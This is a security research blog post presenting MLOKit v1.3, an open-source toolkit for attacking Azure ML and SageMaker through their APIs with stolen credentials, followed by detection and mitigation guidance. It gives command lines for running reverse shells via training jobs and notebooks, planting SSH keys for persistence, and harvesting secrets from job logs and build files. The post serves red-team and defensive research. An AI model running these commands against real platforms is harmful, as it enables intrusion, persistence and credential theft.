This post accompanies my Black Hat USA 2026 Arsenal session, MLOKit: MLOps Attack Toolkit, where these v1.3 techniques are demonstrated live. Session details: Black Hat USA 2026 Arsenal schedule
Organizations are racing to put machine learning (ML) into production, and the platforms that make that possible have quietly become some of the most valuable and least defended systems in the enterprise. MLOps platforms such as Azure Machine Learning (Azure ML), Amazon SageMaker (SageMaker), Google Cloud Vertex AI (Vertex AI), BigML, MLFlow, and Palantir AIP concentrate an organization’s crown jewels: proprietary and foundation-model weights, sensitive and regulated training data, and direct routes to cloud code execution through notebooks, compute, and training pipelines.
Because these platforms are driven by rich REST APIs, nearly every action an attacker can take is scriptable with nothing more than a valid, stolen credential. No memory-corruption exploit or zero-day, just an API and a token.
This post introduces MLOKit v1.3, the latest release of my open-source MLOps Attack Toolkit. MLOKit lets an attacker target MLOps platforms entirely through their REST APIs using stolen credentials, following a repeatable kill chain of reconnaissance, credential harvesting, model and data theft, poisoning, and code execution.
v1.3 is the most significant release to date, adding nine new modules focused on the ML training environment. This includes remote code execution through training jobs and the Jupyter API, persistence via SSH keys planted on ML compute, and the harvesting of secrets from training job variables, logs, and environment build files.
I will walk through what is new, why MLOps platforms are such an attractive target, and four end-to-end attack flows with example commands and output. I also provide defensive and detection guidance so blue teams can find and stop this type of activity.
MLOKit is open source and community-extensible: github.com/h4wkst3r/MLOKit
MLOKit is the product of several years of research into attacking MLOps platforms and ML training infrastructure. The references below provide the foundational context for what v1.3 automates.
Disrupting the Model: Abusing MLOps Platforms to Compromise ML Models and Enterprise Data Lakes (IBM X-Force, Jan 2025)—the foundational study showing that, with valid credentials, an attacker can run reconnaissance, steal models and datasets, and poison data across Azure ML, BigML, and Vertex AI.
Becoming the Trainer: Attacking ML Training Infrastructure (IBM X-Force, June 2025)—extends the research to Amazon SageMaker and MLFlow, covering model theft, lateral movement across notebooks and compute, and model poisoning for code execution.
Pipelines of Privilege: Attack Paths from DevOps to MLOps Infrastructure (Armadin, Apr 2026)—maps how compromised CI/CD pipelines pivot through non-human identities into Azure ML and SageMaker, reaching code execution in training compute.
MLOps platforms are attractive to an attacker because they concentrate high-value assets and expose them through highly scriptable interfaces. Three categories of crown jewel assets live on these platforms:
Several factors leave these assets exposed. Rushed AI adoption has often left security as an afterthought, resulting in weak controls and overly broad access. The rich REST APIs that make these platforms productive also make every action scriptable with valid credentials alone. Tight integrations between components enable privilege escalation and lateral movement. The result is that a single foothold threatens the confidentiality, integrity, and availability of both models and data.
MLOKit is an open-source command line toolkit written in C#/.NET that drives MLOps platforms entirely through their REST APIs. It operates with valid, stolen credentials, so no software exploit is required. The tool is modular: each command runs one attack module against one platform, and the community can extend it with new platforms and modules over time. The goal of MLOKit is to raise awareness about these attack techniques and enable their detection.
Every MLOKit command follows the same anatomy. You specify an attack module, the target platform, a credential, and any platform-specific arguments. For example, an Azure ML command looks like this:
.svg)
MLOKit.exe <module>
/platform:azureml
/credential:eyJ...
/subscription-id:...
/resource-group:...
/workspace:...Anatomy of an MLOKit command
MLOKit currently supports six MLOps platforms, each with its own credential type:
MLOKit assumes you already hold valid credentials. Obtaining them is a prerequisite that is out of scope for the tool itself, but common sources include Azure and GCP access tokens, AWS keys, API keys, and saved passwords recovered from compromised hosts, source code repositories, CI/CD logs, and cloud storage. The prior research listed above covers credential theft in depth.
MLOKit has grown steadily since its initial release, with new modules contributed both by me and by the wider security community:
MLOKit's modules map to a repeatable kill chain that plays out across the ML training environment. Each stage builds on the access confirmed in the last:
Several of the modules powering the credential harvesting and code execution stages are new in v1.3, expanding the attack surface well beyond the recon and theft capabilities of earlier releases.
Before diving into what is new, here is a brief recap of the established attack surface included across v1.0 through v1.2. These modules handle credential validation, discovery, theft, and initial poisoning across the supported platforms.
v1.3 adds nine modules, the majority targeting the Azure ML training environment, with SageMaker support where the equivalent capability exists. These modules turn a foothold into code execution, persistence, and additional credential material:
The four attack flows below demonstrate the new v1.3 capabilities end to end, using Azure ML and SageMaker. Each assumes the attacker already holds a valid credential and permissions for the target platform.
Azure ML training jobs run attacker-supplied code on training compute as a privileged identity. That makes job submission a direct path to code execution. First, run list-training-jobs to enumerate the existing training jobs in the workspace to help identify normal activity and available environments.
C:\>MLOKit.exe list-training-jobs /platform:azureml /credential:%CRED%
/subscription-id:47c5aaab-... /region:eastus
/resource-group:testazureml /workspace:Test-Workspace
Next, submit an attacker-controlled job with create-training-job, supplying a YAML config whose command is a reverse shell one-liner. Azure ML will run that command on training compute.
C:\>MLOKit.exe create-training-job /platform:azureml /credential:%CRED%
/subscription-id:47c5aaab-... /region:eastus /resource-group:testazureml
/workspace:Test-Workspace /training-job-config:malicious_job.yml
Azure ML will execute the attacker's code on the training compute, returning a reverse shell with the privileges of the training container's identity.
SageMaker notebook instances expose a Jupyter REST API. With a stolen AWS access key and secret, an attacker can enumerate the notebooks and run code inside them directly. Start by running list-notebooks to list the notebook instances in the region.
C:\>MLOKit.exe list-notebooks /platform:sagemaker
/credential:access_key;secret_key /region:us-east-2
With an in-service notebook identified, running exec-notebook-code will connect to the Jupyter kernel over a WebSocket and run the supplied script inside the notebook environment.
C:\>MLOKit.exe exec-notebook-code /platform:sagemaker
/credential:access_key;secret_key /region:us-east-2
/notebook-name:demo-nb /script:RevShell.py
The attacker’s script executes inside the SageMaker notebook, yielding remote code execution such as a reverse shell within the notebook environment.
Azure ML compute instances can be reached over SSH if configured to do so. Rather than relying on a short-lived token, an attacker can plant a public key on an instance and connect back at will. First, run list-compute to enumerate compute instances, which will reveal their state, public IP, SSH username, and port.
C:\>MLOKit.exe list-compute /platform:azureml /credential:%CRED%
/subscription-id:47c5aaab-... /region:eastus
/resource-group:testazureml /workspace:Test-Workspace
Next, use add-ssh-key to add an attacker-controlled public key to the target instance. MLOKit adds the key and restarts the instance so the change takes effect.
C:\>MLOKit.exe add-ssh-key /platform:azureml /credential:%CRED%
/subscription-id:47c5aaab-... /region:eastus /resource-group:testazureml
/workspace:Test-Workspace /compute-id:trainingcompute4211145
/ssh-key:"ssh-rsa AAAA..."
The attacker can connect over SSH to the ML compute as a legitimate-looking user, giving an interactive, persistent shell that survives token expiry.
Training jobs, their logs, and environment build files are a rich source of secrets - service-principal credentials and other non-human identity (NHI) material frequently end up in job variables, log output, and Docker build files. v1.3 adds three modules to surface them. First, run get-training-job-vars to return jobs that carry variables, including credentials passed as environment variables.
C:\>MLOKit.exe get-training-job-vars /platform:sagemaker
/credential:%CRED% /region:us-east-1
Where credentials are written to job log output instead, running search-training-job-logs will search the logs of one or all jobs for a given string. Searching for a credential key name recovers the value directly.
C:\>MLOKit.exe search-training-job-logs /platform:azureml /credential:%CRED%
/subscription-id:47c5aaab-... /region:eastus /resource-group:testazureml
/workspace:Test-Workspace /job-name:all /search:"AZURE_CLIENT"
Finally, running get-environment-config will download the Docker build files for custom environments, which can contain embedded credentials in build steps or base images.
C:\>MLOKit.exe get-environment-config /platform:azureml /credential:%CRED%
/subscription-id:47c5aaab-... /region:eastus /resource-group:testazureml
/workspace:Test-Workspace /environment-name:all
With these new credential harvesting modules, an attacker could recover NHI credentials from the training environment, which can be used to escalate privileges and pivot to other systems the identity can reach.
MLOKit ships with static signatures for its default state, and the prior research includes query sets for hunting the underlying techniques:
{32D508EE-ADFF-4553-A5E6-300E8DF64434}) is captured in a YARA rule in the repository.MLOKit-e977ac02118a3cb2c584d92a324e41e9) is captured in a Snort rule in the repository.Beyond static signatures, focus detection on the behaviors the v1.3 modules generate:
Because MLOKit relies on valid credentials and legitimate APIs, no control here is about patching a vulnerability but rather reducing credential exposure, constraining what a single identity can do, and shrinking the blast radius once an identity is inside. The recommendations that follow are grouped by effort, but three of them stand out as load bearing regardless of where they fall.
Across all four attack flows, the same controls do the heaviest lifting: least privilege on execution identities, which limits the blast radius of every code-execution flow; egress restriction, which neutralizes the reverse shells those flows depend on; and secret hygiene with scanning, which breaks the harvest-and-pivot loop.
Before the tiered list, here is how the primary controls map back to the four v1.3 attack flows demonstrated above. A defender responding to any one flow can start here and follow the tier reference into the detail.
The theme: every code-execution flow ends in a process reaching back out over the network, and every harvested secret is itself a credential that feeds the next turn of the kill chain.
Enforce MFA and privileged access management for ML practitioners and non-human identities. Treat data scientists and MLOps service accounts as business-critical. Non-human identities deserve equal attention here: Attack Flow #4 harvests service-principal secrets straight out of the training environment, and those NHIs are frequently over-privileged and rarely rotated, making them the most valuable thing an attacker can recover.
Microsoft Entra Conditional Access · AWS IAM best practices
Disable SSH and public IPs on training compute unless explicitly required. Attack Flow #3 exists only because compute instances are reachable over SSH and add-ssh-key can plant a key on them. The most effective control is to remove the capability: provision Azure ML compute instances with SSH disabled and without a public IP, and enable SSH only for instances that genuinely need it. This is a low-effort, high-impact change that eliminates the persistence path rather than relying on detecting the key addition after the fact.
Azure ML network isolation (no public IP / SSH options)
Shorten and rotate credentials used with MLOps platforms and treat harvested secrets as a closed loop. Prefer short-lived, expiring tokens over long-lived keys and secrets. This matters more than usual here because of the loop Flow #4 reveals: a secret recovered from a job variable, log line, or Dockerfile is itself a working credential that an attacker uses to escalate and pivot. Short token lifetimes shrink the window in which any harvested secret is useful, and any rotation policy should be paired with a revocation runbook so an exposed service-principal secret can be killed quickly once found.
Azure token lifetime policies · AWS access key rotation
Enable audit logging across all MLOps platforms. Ensure API activity is captured and retained for detection and investigation. This is foundational rather than optional: every behavioral detection recommended below—such as training-job creation, SSH-key additions, environment-config access, and anomalous enumeration—depends on this telemetry existing first. The KQL and CloudTrail query packs that ship with the research have nothing to run against if logging is not turned on and retained.
Azure Monitor + Microsoft Sentinel · AWS CloudTrail
Apply least privilege across compute, artifact storage, model registries—and the job execution identity. A single stolen credential should not reach every model, dataset, and compute target. Crucially, extend this to the identity that training jobs and notebooks run as: Attack Flows #1 and #2 succeed because the attacker’s code inherits the privileges of the training container’s or notebook’s identity. Scope the managed identity/execution role attached to training compute to the minimum it needs and avoid reusing one high-privilege service principal across many jobs. That reuse is what turns a single code-execution foothold into workspace-wide compromise.
Azure RBAC · AWS IAM least privilege
Restrict egress from training compute. Every code-execution flow in this post—the training-job reverse shell in #1 and the notebook reverse shell in #2—ends with a process calling outbound to the attacker. Constraining outbound network access from training compute is the single highest-leverage control against the execution half of the kill chain. Even when an attacker achieves code execution, a locked-down egress policy prevents the reverse shell from ever connecting. Start with an allow-list of required destinations (package registries, storage endpoints) and deny the rest. The full network-isolation project is the Medium-Term follow-on.
Azure ML VNet isolation · AWS IMDSv2 enforcement
Lock down Jupyter notebooks and their APIs. Require strong authentication, apply IP allow-listing, and set kernel idle-time limits. For Attack Flow #2 specifically, the exposure is that the SageMaker Jupyter REST API is reachable at all. Disable direct internet access on notebook instances, require VPC-only access, and treat presigned notebook URLs as sensitive credentials. The kernel WebSocket that exec-notebook-code drives is only reachable if the notebook endpoint is.
Azure ML network isolation · SageMaker notebook security
Keep secrets out of job variables, logs, and Dockerfiles. Source credentials from a vault at runtime rather than baking them into job variables, environment configs, or build steps. Because leakage is inevitable in practice, add a detective layer: scan training job logs, environment build files, and model artifacts for exposed secrets. Wire that scanning into build and commit pipelines so a leaked service-principal secret is caught before search-training-job-logs or get-environment-config could recover it. This directly closes Attack Flow #4.
Azure Key Vault · AWS Secrets Manager · gitleaks · TruffleHog
Protect model-registry integrity. The poisoning stage of the kill chain (poison-model, upload-dataset) attacks the integrity of models and data, not their confidentiality. Restrict write access to model registries and artifact stores to a small set of trusted pipelines and adopt model signing and provenance so a tampered or attacker-uploaded model is detectable before it is promoted or deployed.
OpenSSF · Sigstore (signing & provenance)
Block unsafe serialized models that execute code on load. Restrict formats such as Pickle and scan model artifacts before loading. This defends the model-poisoning techniques carried over from earlier MLOKit releases (poison-model), where a malicious serialized model executes attacker code the moment it is deserialized.
Exploiting ML models with pickle file attacks (Trail of Bits) · picklescan
Isolate training compute and complete the network build-out. This is the larger effort that the Short-Term egress quick win feeds into: full VNet/VPC isolation, private endpoints, and blocking instance-metadata abuse with IMDSv2 so a compromised training process cannot mint cloud credentials from the metadata service.
Azure ML VNet isolation · AWS IMDSv2 enforcement
Build behavioral detections for the v1.3 techniques. Baseline and alert on training-job creation, SSH-key additions, and environment-config or job-log access. Extend this upstream to the reconnaissance stage: a single identity issuing a burst of list-compute, list-training-jobs, and list-environments calls is one of the cleanest early signals available, and it fires before theft, poisoning, or execution.
KQL Queries · CloudTrail Queries
Move toward a zero-trust ML training architecture. Remove implicit trust between identities, compute, storage, and pipelines so that compromising one component (a notebook, a training job, or a service principal) does not grant standing access to the others, which is the assumption every attack flow in this post relies on.
NIST Zero Trust Architecture (SP 800-207)
Adopt an ML supply chain security framework. Govern model, data, and dependency provenance across the ML lifecycle. This operationalizes the registry-integrity and model-signing controls into a durable governance program rather than point fixes.
NIST AI Risk Management Framework · OpenSSF
Stand up a threat-hunting program covering MLOps. Hunt for identity-driven abuse of ML platform APIs, not just endpoint activity. The entire MLOKit kill chain is invisible to endpoint tooling as it is usually legitimate API calls with a stolen token, so hunting has to live at the identity and control-plane layer.
MITRE ATT&CK Cloud Matrix · Threat hunting with Microsoft Sentinel
The core takeaway of this research is simple: one stolen token turns an MLOps platform’s API into a full attack surface for recon, theft, poisoning, and code execution. MLOKit v1.3 makes that reality concrete, automating code execution through training jobs and the Jupyter API, persistence via SSH keys on ML compute, and the harvesting of secrets from the training environment—all without a single software exploit.
As organizations continue to operationalize ML at speed, the platforms that power it deserve the same scrutiny we apply to any other business-critical system. MLOKit is released to help defenders understand and detect these techniques before an adversary uses them. The tool is open source and community-extensible, and I encourage the security community to contribute new platforms and modules.
Get the tool: github.com/h4wkst3r/MLOKit
Thank you to Marisa Dyer for the Detection and Defense section
New threats require a new approach and the right tools to keep your environment secure. Discover the full value of the Armadin platform at Armadin.com.
.svg){kind=icon}
.svg)
.svg)